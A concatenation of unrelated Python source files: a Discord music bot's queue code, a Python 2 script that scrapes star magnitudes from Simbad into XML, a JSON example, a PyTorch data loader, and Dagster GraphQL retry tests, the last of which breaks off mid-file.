if queue.repeat == TrackRepeat.single:
return True
self.logger.info(f"Player: Trying to remove track [{index}] at <{vc.guild}>")
del queue.queue._queue[index]
return True
except Exception as e:
self.logger.error(f"Player: Failed to remove track [{index}] at <{vc.guild}>", exc_info=e)
return False
def clear(self, vc: Union[Player, Guild]):
guild_id = self._get_id(vc)
self._active_guilds[guild_id].queue.clear()
async def enqueue(self, vc: Player, entries: Union[TrackEntry, List[TrackEntry]]):
if not isinstance(entries, list):
entries = [entries]
queue = self.get(vc)
guild_id = self._get_id(vc)
for entry in entries:
track = entry.track
self.logger.info(f"Player: Enqueueing at guild <{guild_id}>: {track.title} by {track.author}")
await queue.queue.put(entry)
self._active_guilds[guild_id] = queue
def _set_current(self, vc: Player, track: Optional[TrackEntry] = None) -> None:
self.get(vc).current = track
def change_dj(self, vc: Player, user: Member):
self.get(vc).host = user
def set_channel(self, vc: Player, channel: VocalChannel):
self.get(vc).channel = channel
def reset_vote(self, vc: Player):
self.get(vc).skip_votes.clear()
def add_vote(self, vc: Player, user: Member):
self.get(vc).skip_votes.add(user)
def change_repeat_mode(self, vc: Player, mode: TrackRepeat) -> Optional[GuildMusicInstance]:
queue = self.get(vc)
if queue.repeat == mode:
return None
queue.repeat = mode
if mode == TrackRepeat.single:
queue.queue = TrackQueueSingle.from_other(queue.queue)
elif mode == TrackRepeat.all:
queue.queue = TrackQueueAll.from_other(queue.queue)
elif mode == TrackRepeat.disable:
queue.queue = TrackQueueImpl.from_other(queue.queue)
self._active_guilds[self._get_id(vc)] = queue
return queue
def get_requirements(self, vc: Player) -> int:
in_voice = vc.channel.members
# 40% need to vote to skip.
required = ceil(len(in_voice) * 0.4)
return required
def generate_track_embed(self, entry: TrackEntry, position: int = MISSING) -> Embed:
embed = Embed(colour=Colour.from_rgb(78, 214, 139), timestamp=arrow.utcnow().datetime)
embed.set_author(name="Diputar 🎵", icon_url=self._client.user.avatar)
description = []
track = entry.track
track_url = track.uri
if hasattr(track, "internal_id"):
track_url = f"https://open.spotify.com/track/{track.internal_id}"
description.append(f"[{track.title}]({track_url})")
if track.author:
description.append(f"**Artis**: {track.author}")
if hasattr(track, "description") and track.description:
description.append(f"\n{track.description}")
embed.description = "\n".join(description)
embed.add_field(name="Diputar oleh", value=f"{entry.requester.mention}", inline=True)
durasi = TimeString.from_seconds(int(ceil(track.duration)))
if position is MISSING:
embed.add_field(name="Durasi", value=durasi.to_string(), inline=True)
else:
posisi = format_duration(position)
durasi = format_duration(track.duration)
embed.add_field(name="Durasi", value=f"{posisi}/{durasi}", inline=True)
internal_thumb = getattr(track, "_int_thumbnail", None)
if internal_thumb:
embed.set_thumbnail(url=internal_thumb)
elif isinstance(track, YouTubeTrack):
embed.set_thumbnail(url=f"https://i.ytimg.com/vi/{track.identifier}/maxresdefault.jpg")
return embed
async def _fetch_track_queue(self, player: Player):
"""Fetch a track from the queue"""
try:
queue = self.get(player)
return await queue.queue.get()
except asyncio.CancelledError:
return None
async def search_track(self, query: str, node: wavelink.Node):
if query.startswith("http"):
if "spotify.com" in query:
track_mode = spotify.SpotifySearchType.track
if "/album" in query:
track_mode = spotify.SpotifySearchType.album
elif "/playlist" in query:
track_mode = spotify.SpotifySearchType.playlist
spoti_results = await SpotifyDirectTrack.search(
query, type=track_mode, node=node, spotify=self._spotify, return_first=False
)
return spoti_results
elif "soundcloud.com" in query:
soundcloud_tracks = await SoundcloudDirectLink.search(query, node=node)
return soundcloud_tracks
elif "bandcamp.com" in query:
bandcamp_tracks = await BandcampDirectLink.search(query, node=node)
return bandcamp_tracks
elif "vimeo.com" in query:
raise UnsupportedURLFormat(query, "Vimeo tidak didukung untuk sekarang!")
elif "twitch.tv" in query:
ttv_results = await TwitchDirectLink.search(query, node=node, return_first=True)
return ttv_results
else:
return_first = "/playlist" not in query
results = await YoutubeDirectLinkTrack.search(
query,
node=node,
return_first=return_first,
)
return results
results = await YouTubeTrack.search(query, node=node, return_first=False)
for result in results:
setattr(result, "source", "youtube")
return results
# Listeners
# Call to this function later :)
async def play_next(self, player: Player):
self._set_current(player, None)
# Try to get new track.
try:
self.logger.info(f"Player: <{player.guild}> trying to enqueue new track... (5 minutes timeout)")
new_track = await asyncio.wait_for(self._fetch_track_queue(player), timeout=300)
except asyncio.TimeoutError:
# No more tracks, clear queue and stop player.
self.logger.info(f"Player: <{player.guild}> no more tracks, clearing queue and stopping player.")
self.delete(player)
await player.disconnect(force=True)
return
if new_track is None:
self.logger.info(f"Player: <{player.guild}> no more tracks, clearing queue and stopping player.")
self.delete(player)
await player.disconnect(force=True)
return
self.reset_vote(player)
self.logger.info(f"Player: <{player.guild}> got new track: {new_track.track}")
self._set_current(player, new_track)
try:
await player.play(new_track.track)
except Exception as e:
# Dispatch failed to play event
self._client.dispatch("naotimes_playback_failed", player, new_track, e)
return
wrapped_entry = TrackEntry(player.source, new_track.requester, new_track.channel)
self._set_current(player, wrapped_entry)
|
py | 1a4cda53f253529ab4f322a9636180d5c0b5f8bd | # -*- coding: Latin-1 -*-
'''
From Marc-Antoine Martinod
No particular license or rights, you can change it as you feel, just be honest. :)
For python puritain, sorry if this script is not "pythonic".
'''
'''
This script picks up the magnitudes and the spectral type from Simbad website.
*How to use it:
***In variable "path", put the path of the repo where you have the XMLs.
***Run the script
*Structure:
***HTMLparser class to extract information from a webpage.
***Two main functions : magnitude : pick up magnitudes from Simbad
spectralType : pick up spectral type from Simbad, it is currently commented because I don't need to run it at the moment.
***A list generator function : create a file containing the name of the XML files in "path".
*Logs:
***Log_planet.txt has all files for which there was a 404 error. This file is not reset
when the script is rerun. It works for both functions.
*Troubleshooting:
***If Simbad don't recognize this name, either you search manually or you create a list with the
other names for a system (Kepler, 2MASS...) and you rename the file with this name to let the script
writing in it.
*Improvements:
***You can improve this script by a multi-name recognition :for a system, if there is a 404 error on simbad web page
the script can try another name picked up in the XMLs and try it.
This would avoid to make a manual reasearch or rename the files, recreate a list and rerun the script.
***There can be a problem with binaries system. Simbad always has only SP (spectral type) and mag for one star (don't know which)
or the whole system but if this information exists for each star of a binary system, this script doesn't deal with it.
***Adapt it for other kind of extraction or for other website.
'''
from HTMLParser import HTMLParser
import urllib
import re
import os
import glob
import time
class MyHTMLParser(HTMLParser):#HTML parser to get the information from the webpage
def handle_starttag(self, tag, attrs): #get start tag and may store its attributes
global boolean, dictio, data2
if boolean == 1:# and tag == "a":
dictio.append(data2)
boolean = 0
def handle_endtag(self, tag):
pass
def handle_data(self, data):
global data2, boolean, spectre
if re.findall("[A-Z] *\d*\.?\d*? *\[+.+\]", data):#Search magnitude
data2 = data
data2 = data2.replace("\n", "").replace(" ","")
boolean = 1
#set magnitude values in XML file
def magnitude(dic, filename, path):
#The idea is to read the file to have a big string then concatenate the magnitudes then rewrite the whole file
if os.path.isfile(path+"/"+filename+".xml"):
with open(path+"/"+filename+".xml","r") as readable:
read_file = readable.read()
tabulation = ""
#positionning the magnitudes in the file
if "</magV>" in read_file:
elt_index = read_file.index("</magV>")
elt_len = len("</magV>")
if "<binary>" in read_file:
tabulation = "\t"
elif "<binary>" in read_file:
elt_index = read_file.index("<binary>")
elt_len = len("<binary>")
else:
elt_index = read_file.index("<star>")
elt_len = len("<star>")
with open(path+"/"+filename+".xml", "w") as writable:#Write mag in the file
dic2 = dic
dic2.sort()
magJ = ""
magH = ""
magK = ""
magV = ""
magB = ""
magR = ""
magI = ""
for key in dic2:#concatenate magnitudes in the string from XML
expr = key
if not "[~]" in expr:
sigma = re.findall('\[+.+\]', expr)
sigma = str(sigma[0].replace('[','').replace(']',''))
else:
sigma = ""
expr = re.sub('\[+.+\]', '', expr)#Remove uncertainty from string
expr2 = re.sub('[A-Z]', '', expr)#Remove letters from string, just mag left.
if "J" in expr and not "magJ" in read_file:
if sigma != "":
magJ = "\n"+tabulation+"\t\t<magJ errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magJ>"
else:
magJ = "\n"+tabulation+"\t\t<magJ>"+expr2+"</magJ>"
elif "H" in expr and not "magH" in read_file:
if sigma != "":
magH = "\n"+tabulation+"\t\t<magH errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magH>"
else:
magH = "\n"+tabulation+"\t\t<magH>"+expr2+"</magH>"
elif "K" in expr and not "magK" in read_file:
if sigma != "":
magK = "\n"+tabulation+"\t\t<magK errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magK>"
else:
magK = "\n"+tabulation+"\t\t<magK>"+expr2+"</magK>"
elif "V" in expr and not "magV" in read_file:
if sigma != "":
magV = "\n"+tabulation+"\t\t<magV errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magV>"
else:
magV = "\n"+tabulation+"\t\t<magV>"+expr2+"</magV>"
elif "B" in expr and not "magB" in read_file:
if sigma != "":
magB = "\n"+tabulation+"\t\t<magB errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magB>"
else:
magB = "\n"+tabulation+"\t\t<magB>"+expr2+"</magB>"
elif "R" in expr and not "magR" in read_file:
if sigma != "":
magR = "\n"+tabulation+"\t\t<magR errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magR>"
else:
magR = "\n"+tabulation+"\t\t<magR>"+expr2+"</magR>"
elif "I" in expr and not "magI" in read_file:
if sigma != "":
magI = "\n"+tabulation+"\t\t<magI errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magI>"
else:
magI = "\n"+tabulation+"\t\t<magI>"+expr2+"</magI>"
#check if mag already exists or not on simbad
if magJ != "" or magH != "" or magK != "" or magV != "" or magB != "" or magR != "" or magI != "":
print elt,"\t mag done."
else:
print elt," Mag error or already exists."
read_file = read_file[0:elt_index+elt_len]+magB+magV+magR+magI+magJ+magH+magK+read_file[elt_index+elt_len:]
writable.write(read_file)
else:
print filename," not found."
#set spectral type in the XML file.
def spectralType(spectre, filename, path):
#Check if the file exists
if os.path.isfile(path+"/"+filename+".xml"):
with open(path+"/"+filename+".xml","r") as readable:
read_file = readable.read()
tabulation = ""
back_line = ""
#Positionning of the information in the file.
if not "<binary>" in read_file:
if not "<spectraltype>" in read_file:
elt_index = read_file.index("<star>")
elt_len = len("<star>")
back_line = "\n"
#Writing the SP (spectral type) in the file
with open(path+"/"+filename+".xml","w") as writable:
spectre = back_line+"\t\t"+tabulation+"<spectraltype>"+spectre+"</spectraltype>"
read_file = read_file[0:elt_index+elt_len]+spectre+read_file[elt_index+elt_len:]
writable.write(read_file)
print filename+"\tSP done."
else:
print filename, " has already a spectral type."
else:
print filename, " is a binary system."
log.write(filename+"\t:\tbinary system\n")
else:
print filename, "not found."
#Another script exists for that. Splitting the two functions lets me to control
#the list is in correct format and won't bring any troubles.
#However, as it is a copy/paste of the script, it should work.
def generateList(path):
planet_list = open("list.txt", "w")
for filename in glob.glob(path+"/*.xml"):
# Open file
name = os.path.split(filename)
name = name[1]
name = name.replace(".xml","")
planet_list.write(name+"\n")
planet_list.close()
#****************************MAIN*********************************
parser = MyHTMLParser()
path = "systems_kepler"
generateList(path)
system_list = open("list.txt","r") #list of the systems to process
line = system_list.readlines()
line = [elt.replace('\n','') for elt in line]
log = open("log_planet.log", "a")#log 404 web error and binary systems error
log.write("\n*****"+time.strftime("%A %d %B %Y %H:%M:%S")+"*****\n")
for elt in line:#read all the list of systems and run the parser class and the magnitude function for each one
dictio = []
boolean = 0
data2 = ""
spectre = ""
planet = elt
code_source = urllib.urlopen('http://simbad.u-strasbg.fr/simbad/sim-basic?Ident='+planet).read()
#First check its existence on simbad
if not re.findall("Identifier not found in the database", code_source):
parser.feed(code_source)
magnitude(dictio, planet, path)
'''if re.search('Spectral type:( *<.*?>\n){5}\w*/?\w*', code_source):
extraction_spectre = re.search('Spectral type:( *<.*?>\n){5}\w*/?\w*', code_source).group(0)
spectre = re.search('(?<=<TT>\n)\w*/?\w*', extraction_spectre).group(0)
spectralType(spectre, planet, path)
else:
print elt, " has no spectral type."
log.write(elt+"\t:\tno spectral type\n")'''
else:
print planet,"\t:\t404 page not found"
log.write(planet+" 404 page not found\n")
log.close()
system_list.close() |
py | 1a4cdb024e1b7f2f8ff9a3a6e4aca228460b5c30 | import json
# Create a dictionary object
person_dict = {'first': 'Christopher', 'last':'Harrison'}
# Add additional key pairs to dictionary as needed
person_dict['City']='Seattle'
# Create a list object of programming languages
languages_list = ['CSharp','Python','JavaScript']
# Add list object to dictionary for the languages key
person_dict['languages']= languages_list
# Convert dictionary to JSON object
person_json = json.dumps(person_dict)
# Print JSON object
print(person_json) |
py | 1a4cdc2c3cbd3ec26a09d14fc0ec871661073179 |
import pandas as pd
import numpy as np
import torch
import torch.utils.data as Data
def get_params_length(layer_id):
'''
获取不同层参数向量长度
'''
get_params_length_dic = {
0:13,
1:19,
2:25,
3:14,
4:20,
5:26,
6:11,
7:17,
8:23,
9:9,
10:14,
11:19,
12:7,
13:9,
14:11,
15:4,
16:5,
17:6,
18:4,
19:5,
20:6,
21:4,
22:6,
23:3,
24:3,
25:5,
26:6,
}
return get_params_length_dic[layer_id]
def link_vector_to_graph(link_list,length,max_layer_length):
'''
将连接向量转化成邻接矩阵，对角线元素表示是否接收初始输入
'''
adj = np.zeros((max_layer_length,max_layer_length))
graph = np.zeros([length,length],dtype = float)
flag = 0
# print(link_list,length,max_layer_length)
if len(link_list) != length * length:
for i in range(0,length):
for j in range(0,i+1):
graph[i,j] = link_list[flag]
flag += 1
else:
for i in range(0,length):
for j in range(0,length):
graph[i,j] = link_list[flag]
flag += 1
adj[0:length,0:length] = graph
for i in range(length):
adj[i][i] = 1
return adj.T
def get_params_position(id):
params_length_dic = {
0:0,
1:19,
2:0,
3:0,
4:20,
5:0,
6:0,
7:17,
8:0,
9:0,
10:14,
11:0,
12:0,
13:9,
14:0,
15:0,
16:5,
17:0,
18:0,
19:5,
20:0,
21:4,
22:6,
23:3,
24:3,
25:5,
26:0
}
start = 0
end = 0
for i in range(26):
if i != id:
start += params_length_dic[i]
end += params_length_dic[i]
else:
end += params_length_dic[i]
break
return start,end
def load_randomdataset_test_data():
df_1 = pd.read_csv('../data/dataset/random_testset_1.txt',sep = ' ',index_col=False)
df_2 = pd.read_csv('../data/dataset/random_testset_2.txt',sep = ' ',index_col=False)
df_3 = pd.read_csv('../data/dataset/random_testset_3.txt',sep = ' ',index_col=False)
mean_energy =(df_1['all_energy'] + df_2['all_energy'] + df_3['all_energy']) / 3
df_1['all_energy'] = mean_energy
return df_1
def load_customdataset_test_data():
df_1 = pd.read_csv('../data/dataset/custom_testset_1.txt',sep = ' ',index_col=False)
df_2 = pd.read_csv('../data/dataset/custom_testset_2.txt',sep = ' ',index_col=False)
df_3 = pd.read_csv('../data/dataset/custom_testset_3.txt',sep = ' ',index_col=False)
mean_energy =(df_1['all_energy'] + df_2['all_energy'] + df_3['all_energy']) / 3
df_1['all_energy'] = mean_energy
return df_1
def vaild(model,params_min_list,params_max_list,max_layer_length,layer_parameters,layer_link,layer_id,energy,split_gap = 24,split_index_list = None):
layer_parameters = np.array([float(x) if '.' in x else int(x) for x in layer_parameters.split(',')],dtype='float')
layer_link = np.array([int(x.replace('.0','')) for x in layer_link.split(',')])
layer_id = np.array([int(x) for x in layer_id.split(',')])
# array = np.zeros(1)
energy = [energy]
index = 0
for id in layer_id:
params_length = get_params_length(id)
params = layer_parameters[index:index+params_length]
params = [(params[j] - params_min_list[id][j]) / (params_max_list[id][j]) if params_max_list[id][j] != 0 or params_min_list[id][j] != params_max_list[id][j] else 0 for j in range(params_length)]
layer_parameters[index:index+params_length] = params
index += params_length
index = 0
layer_params = []
for id in layer_id:
params = [0 for i in range(110)]
start,end = get_params_position(id)
params_length = get_params_length(id)
params[start:end] = layer_parameters[index:index + params_length].tolist()
layer_params.append(params)
index += params_length
adj = link_vector_to_graph(layer_link,len(layer_id),max_layer_length)
layer_id = layer_id.tolist()
if len(layer_id) < max_layer_length:
for j in range(0,max_layer_length - len(layer_id)):
layer_params.append([0 for i in range(110)])
layer_id.extend([-1 for i in range(max_layer_length - len(layer_id))]) #层数量长度不足的填充-1
adj = torch.ShortTensor(np.array(adj)).unsqueeze(0).cuda() # [1,70,294]
data_x = torch.FloatTensor(np.array(layer_params)).unsqueeze(0).cuda() # [1,70,294]
data_id = np.array(layer_id)
data_id = torch.FloatTensor(data_id).unsqueeze(0).cuda()
# print()
output = model(data_x, adj, data_id)
# output = torch.squeeze(output, dim=0)
# print(output)
MAE_error = abs(output.item() - energy[0])
error_val = accuracy_test(output.cpu(),energy[0])
return output, MAE_error, error_val
def accuracy_test(output, labels):
return abs(output - labels)/labels * 100
def load_data(dataset_type):
print('load data...')
#存储每类层的所有元素，方便后续计算最大值最小值
params_list = {
0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[]
}
#存储每类层，各个元素的最小值
params_min_list = {
0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[]
}
#存储每类层，各个元素的最小值
params_max_list = {
0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[]
}
data = pd.read_csv('../data/dataset/%s_data.txt' % dataset_type,sep = ' ',index_col=False)
layer_parameters = data['layer_parameters'].values
layer_link = data['layer_link'].values
layer_id = data['layer_id'].values
max_layer_length = max([len(layer_id.split(',')) for layer_id in data['layer_id'].values]) #获取最长的层数
# print(max_layer_length)
for i in range(len(layer_parameters)):
try:
layer_parameters[i] = np.array([float(x) if '.' in x else int(x) for x in layer_parameters[i].split(',')],dtype='float')
layer_link[i] = np.array([int(x) for x in layer_link[i].split(',')])
layer_id[i] = np.array([int(x) for x in layer_id[i].split(',')])
except:
print(i,layer_parameters[i],layer_id[i])
for i in range(len(layer_parameters)):
one_net_layer_id = layer_id[i]
index = 0
for id in one_net_layer_id:
params_length = get_params_length(id)
params = layer_parameters[i][index:index+params_length]
index += params_length
params_list[id].append(params.tolist())
for i in range(0,27):
if len(params_list[i]) != 0:
params_max_list[i] = np.amax(np.array(params_list[i]), axis=0)
params_min_list[i] = np.amin(np.array(params_list[i]), axis=0)
# 归一化
for i in range(len(layer_parameters)):
one_net_layer_id = layer_id[i]
index = 0
#对不同层，分别归一化
for id in one_net_layer_id:
params_length = get_params_length(id)
params = layer_parameters[i][index:index+params_length]
params = [(params[j] - params_min_list[id][j]) / (params_max_list[id][j]) if params_max_list[id][j] != 0 else 0 for j in range(params_length)]
layer_parameters[i][index:index+params_length] = params
index += params_length
all_params_array = []
all_id_array = []
all_adj_array = []
data_link_all = torch.IntTensor()
for i in range(0,len(layer_parameters)):
# if i % 1000 == 0 and i == 1000:
# data_link = torch.IntTensor(np.array(all_adj_array))
# data_link_all = data_link
# all_adj_array = []
if i % 1000 == 0 and i != 0:
data_link = torch.IntTensor(np.array(all_adj_array))
data_link_all = torch.cat([data_link_all,data_link])
all_adj_array = []
net_adj = link_vector_to_graph(layer_link[i],len(layer_id[i]),max_layer_length)
all_adj_array.append(net_adj)
# print(all_adj_array[0])
data_link = torch.IntTensor(np.array(all_adj_array))
data_link_all = torch.cat([data_link_all,data_link])
print(data_link_all.shape)
for i in range(0,len(layer_parameters)):
index = 0
layer_params = []
for id in layer_id[i]:
params = [0 for i in range(110)]
start,end = get_params_position(id)
params_length = get_params_length(id)
if id != 23 or id != 24:
params[start:end] = layer_parameters[i][index:index + params_length].tolist()
layer_params.append(params)
index += params_length
for j in range(0,max_layer_length - len(layer_id[i])):
layer_params.append([0 for i in range(110)])
for j in range(len(layer_id[i])):
id = layer_id[i][j]
if id == 23 or id == 24:
for k in range(j,len(layer_id[i])-1):
layer_id[i][k] = layer_id[i][k+1]
layer_id[i][len(layer_id[i])-1] = -1
layer_id[i] = layer_id[i].tolist()
layer_id[i].extend([-1 for i in range(max_layer_length - len(layer_id[i]))]) #层数量长度不足的填充-1
all_id_array.append(layer_id[i])
all_params_array.append(layer_params)
# b = np.load("all_params_array.npy")
# data_link = torch.FloatTensor(np.array(all_adj_array))
data_x = torch.FloatTensor(np.array(all_params_array))
data_id = np.array(all_id_array)
data_id = torch.FloatTensor(data_id)
data_y = torch.FloatTensor(data['all_energy'].values)
train_size = int(0.8 * len(data_x))
test_size = len(data_x) - train_size
BATCH_SIZE = 128
full_dataset = Data.TensorDataset(data_x, data_id, data_link_all, data_y) #将x,y读取，转换成Tensor格式
train_dataset, test_dataset = torch.utils.data.random_split(full_dataset, [train_size, test_size])
train_loader = Data.DataLoader(
dataset=train_dataset, # torch TensorDataset format
batch_size=BATCH_SIZE, # 最新批数据
shuffle=True, # 是否随机打乱数据
num_workers=0, # 用于加载数据的子进程
)
# test_torch_dataset = Data.TensorDataset(test_params_inputs, test_id_inputs, test_outputs) #将x,y读取，转换成Tensor格式
test_loader = Data.DataLoader(
dataset=test_dataset, # torch TensorDataset format
batch_size=BATCH_SIZE, # 最新批数据
shuffle=True, # 是否随机打乱数据
num_workers=0, # 用于加载数据的子进程
)
return train_loader,test_loader,params_min_list,params_max_list,max_layer_length
def get_50_epoch_MAPE(epoch,vaild_acc):
all_test_mean = 0
all_test_mean_list = []
count = 0
if epoch < 50:
start_index = 0
else:
start_index = epoch - 50
for net_name,acc_list in vaild_acc.items():
count += 1
all_test_mean += np.mean(acc_list[start_index:epoch],axis=0)[0]
all_test_mean_list.append(np.mean(acc_list[start_index:epoch],axis=0)[0])
all_test_mean_list.sort()
return np.mean(all_test_mean_list[0:18])
def accuracy_train(output, labels):
output = output.cpu().detach().numpy().tolist()
labels = labels.cpu().numpy().tolist()
for i in range(0,len(output)):
output[i] = abs(output[i] - labels[i])/labels[i] * 100
return np.mean(output) |
py | 1a4cdd0ceeb77bf907d664e86e9503bba6c72fe9 | import unittest
class TestClassRunTest(unittest.TestCase):
def runTest(self):
pass
if __name__ == '__main__':
unittest.main()
|
py | 1a4cdd3f545b0d191e02bac847a8ea27b2acfb14 | import sys
from time import sleep
import pytest
from dagster_graphql.client.query import (
LAUNCH_PIPELINE_EXECUTION_MUTATION,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
PIPELINE_REEXECUTION_INFO_QUERY,
)
from dagster_graphql.test.utils import (
execute_dagster_graphql,
execute_dagster_graphql_and_finish_runs,
infer_pipeline_selector,
)
from dagster import DagsterEventType
from dagster.core.execution.plan.objects import StepOutputHandle
from dagster.core.storage.intermediate_store import build_fs_intermediate_store
from dagster.core.storage.intermediates_manager import IntermediateStoreIntermediatesManager
from dagster.core.storage.tags import RESUME_RETRY_TAG
from dagster.core.utils import make_new_run_id
from .graphql_context_test_suite import (
ExecutingGraphQLContextTestMatrix,
GraphQLContextVariant,
OutOfProcessExecutingGraphQLContextTestMatrix,
make_graphql_context_test_suite,
)
from .setup import (
PoorMansDataFrame,
csv_hello_world_solids_config,
csv_hello_world_solids_config_fs_storage,
get_retry_multi_execution_params,
retry_config,
)
from .utils import get_all_logs_for_finished_run_via_subscription, sync_execute_get_events
def step_started(logs, step_key):
return any(
log['stepKey'] == step_key
for log in logs
if log['__typename'] in ('ExecutionStepStartEvent',)
)
def step_did_not_run(logs, step_key):
return not any(
log['stepKey'] == step_key
for log in logs
if log['__typename']
in ('ExecutionStepSuccessEvent', 'ExecutionStepSkippedEvent', 'ExecutionStepFailureEvent')
)
def step_did_succeed(logs, step_key):
return any(
log['__typename'] == 'ExecutionStepSuccessEvent' and step_key == log['stepKey']
for log in logs
)
def step_did_skip(logs, step_key):
return any(
log['__typename'] == 'ExecutionStepSkippedEvent' and step_key == log['stepKey']
for log in logs
)
def step_did_fail(logs, step_key):
return any(
log['__typename'] == 'ExecutionStepFailureEvent' and step_key == log['stepKey']
for log in logs
)
def step_did_fail_in_records(records, step_key):
return any(
record.step_key == step_key
and record.dagster_event.event_type_value == DagsterEventType.STEP_FAILURE.value
for record in records
)
def step_did_succeed_in_records(records, step_key):
return any(
record.step_key == step_key
and record.dagster_event.event_type_value == DagsterEventType.STEP_SUCCESS.value
for record in records
)
def step_did_not_run_in_records(records, step_key):
return not any(
record.step_key == step_key
and record.dagster_event.event_type_value
in (
DagsterEventType.STEP_SUCCESS.value,
DagsterEventType.STEP_FAILURE.value,
DagsterEventType.STEP_SKIPPED.value,
)
for record in records
)
def first_event_of_type(logs, message_type):
for log in logs:
if log['__typename'] == message_type:
return log
return None
def has_event_of_type(logs, message_type):
return first_event_of_type(logs, message_type) is not None
def get_step_output_event(logs, step_key, output_name='result'):
for log in logs:
if (
log['__typename'] == 'ExecutionStepOutputEvent'
and log['stepKey'] == step_key
and log['outputName'] == output_name
):
return log
return None
class TestRetryExecution(ExecutingGraphQLContextTestMatrix):
def test_retry_pipeline_execution(self, graphql_context):
selector = infer_pipeline_selector(graphql_context, 'eventually_successful')
result = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': retry_config(0),
}
},
)
run_id = result.data['launchPipelineExecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_did_succeed(logs, 'spawn.compute')
assert step_did_fail(logs, 'fail.compute')
assert step_did_skip(logs, 'fail_2.compute')
assert step_did_skip(logs, 'fail_3.compute')
assert step_did_skip(logs, 'reset.compute')
retry_one = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': retry_config(1),
'executionMetadata': {
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
run_id = retry_one.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_did_not_run(logs, 'spawn.compute')
assert step_did_succeed(logs, 'fail.compute')
assert step_did_fail(logs, 'fail_2.compute')
assert step_did_skip(logs, 'fail_3.compute')
assert step_did_skip(logs, 'reset.compute')
retry_two = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': retry_config(2),
'executionMetadata': {
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
run_id = retry_two.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_did_not_run(logs, 'spawn.compute')
assert step_did_not_run(logs, 'fail.compute')
assert step_did_succeed(logs, 'fail_2.compute')
assert step_did_fail(logs, 'fail_3.compute')
assert step_did_skip(logs, 'reset.compute')
retry_three = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': retry_config(3),
'executionMetadata': {
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
run_id = retry_three.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_did_not_run(logs, 'spawn.compute')
assert step_did_not_run(logs, 'fail.compute')
assert step_did_not_run(logs, 'fail_2.compute')
assert step_did_succeed(logs, 'fail_3.compute')
assert step_did_succeed(logs, 'reset.compute')
def test_retry_resource_pipeline(self, graphql_context):
context = graphql_context
selector = infer_pipeline_selector(graphql_context, 'retry_resource_pipeline')
result = execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {'storage': {'filesystem': {}}},
}
},
)
run_id = result.data['launchPipelineExecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][
'messages'
]
assert step_did_succeed(logs, 'start.compute')
assert step_did_fail(logs, 'will_fail.compute')
retry_one = execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {'storage': {'filesystem': {}}},
'executionMetadata': {
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
run_id = retry_one.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][
'messages'
]
assert step_did_not_run(logs, 'start.compute')
assert step_did_fail(logs, 'will_fail.compute')
def test_retry_multi_output(self, graphql_context):
context = graphql_context
result = execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': get_retry_multi_execution_params(context, should_fail=True)
},
)
run_id = result.data['launchPipelineExecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][
'messages'
]
assert step_did_succeed(logs, 'multi.compute')
assert step_did_skip(logs, 'child_multi_skip.compute')
assert step_did_fail(logs, 'can_fail.compute')
assert step_did_skip(logs, 'child_fail.compute')
